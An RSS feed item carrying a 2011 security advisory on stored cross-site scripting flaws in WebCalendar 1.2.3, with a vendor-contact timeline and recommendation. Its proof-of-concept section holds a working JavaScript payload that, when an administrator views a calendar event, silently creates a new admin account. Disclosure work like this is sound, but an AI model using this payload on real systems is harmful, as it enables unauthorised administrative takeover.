&lt;p&gt;Multiple Cross-site Scripting vulnerabilities in calendar events in WebCalendar 1.2.3 that allows attackers to inject arbitrary JavaScript or &lt;span class="caps"&gt;HTML&lt;/span&gt; via the Brief Description, Full Description, and location on edit_entry.php. These must be posted by someone who has rights to the calendar.&lt;/p&gt;
&lt;p&gt;Using this exploit we are able to submit a request to an administrator of the calendar system and without any interaction by the administrator other than seeing the calendar event create an administrative user of our choosing.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;p&gt;Invite an administrative user to a calendar event with this as the description&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;
&amp;lt;IMG SRC=a onerror="new Ajax.Request('edit_user_handler.php', {  
method: 'post',  
parameters:'formtype=edituser&amp;amp;add=1&amp;amp;user=mattadminxss&amp;amp;ufirstname=matt&amp;amp;ulastname=xss&amp;amp;uemail=xss@xss.com&amp;amp;upassword1=xssed&amp;amp;upassword2=xssed&amp;amp;uis_admin=Y&amp;amp;uenabled=Y',onComplete:function(rt){
    // notify 
    alert('xss\'ed');
  }
}
);
" /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/p&gt;
&lt;h2&gt;Versions Affected:&lt;/h2&gt;
&lt;p&gt;Only 1.2.3 was tested but one can assume that any version prior to this is also at risk.&lt;/p&gt;
&lt;h2&gt;Vendor Response:&lt;/h2&gt;
&lt;p&gt;The following timeline details the vendors response to the reported issue:&lt;/p&gt;
&lt;p&gt;10/05/2010 &amp;#8211; Reported via upSploit&lt;sup class="footnote" id="fnr3"&gt;&lt;a href="#fn3"&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;
10/06/2010 &amp;#8211; upSploit reported to vendor&lt;br /&gt;
11/05/2010 &amp;#8211; upSploit attempted contact with vendor&lt;br /&gt;
12/05/2010 &amp;#8211; upSploit attempted contact with vendor&lt;br /&gt;
02/11/2011 &amp;#8211; upSploit attempted contact with vendor&lt;br /&gt;
02/11/2011 &amp;#8211; upSploit attempted contact with vendor&lt;br /&gt;
03/18/2011 &amp;#8211; upSploit attempted contact with vendor&lt;br /&gt;
03/18/2011 &amp;#8211; upSploit attempted contact with vendor&lt;br /&gt;
03/19/2011 &amp;#8211; upSploit attempted contact with vendor&lt;br /&gt;
03/26/2011 &amp;#8211; upSploit attempted contact with vendor&lt;br /&gt;
04/02/2011 &amp;#8211; upSploit attempted contact with vendor&lt;br /&gt;
04/03/2011 &amp;#8211; upSploit attempted contact with vendor&lt;br /&gt;
04/04/2011 &amp;#8211; Released on upSploit and blog.&lt;/p&gt;
&lt;h2&gt;Recommendation&lt;/h2&gt;
&lt;p&gt;I would discontinue the use of this application until a fix can be released.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;p class="footnote" id="fn1"&gt;&lt;a href="#fnr1"&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/a&gt; &lt;a href="http://www.k5n.us/webcalendar.php"&gt;http://www.k5n.us/webcalendar.php&lt;/a&gt;&lt;/p&gt;
&lt;p class="footnote" id="fn2"&gt;&lt;a href="#fnr2"&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;http://en.wikipedia.org/wiki/Cross-site_scripting&lt;/a&gt;&lt;/p&gt;
&lt;p class="footnote" id="fn3"&gt;&lt;a href="#fnr3"&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt; &lt;a href="http://www.upsploit.com/"&gt;http://www.upsploit.com/&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/MattJezorek/~4/doL0BZ-feYM" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 04 Apr 2011 02:17:07 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/MattJezorek/~3/doL0BZ-feYM/multiple-xss-vulnerabilities-in-webcalendar</link>
      <guid isPermaLink="false">http://mattjezorek.com/articles/multiple-xss-vulnerabilities-in-webcalendar?updated_at=2011-04-04T02:17:42</guid>
    <feedburner:origLink>http://mattjezorek.com/articles/multiple-xss-vulnerabilities-in-webcalendar?updated_at=2011-04-04T02:17:42</feedburner:origLink></item>
  </channel>
</rss>

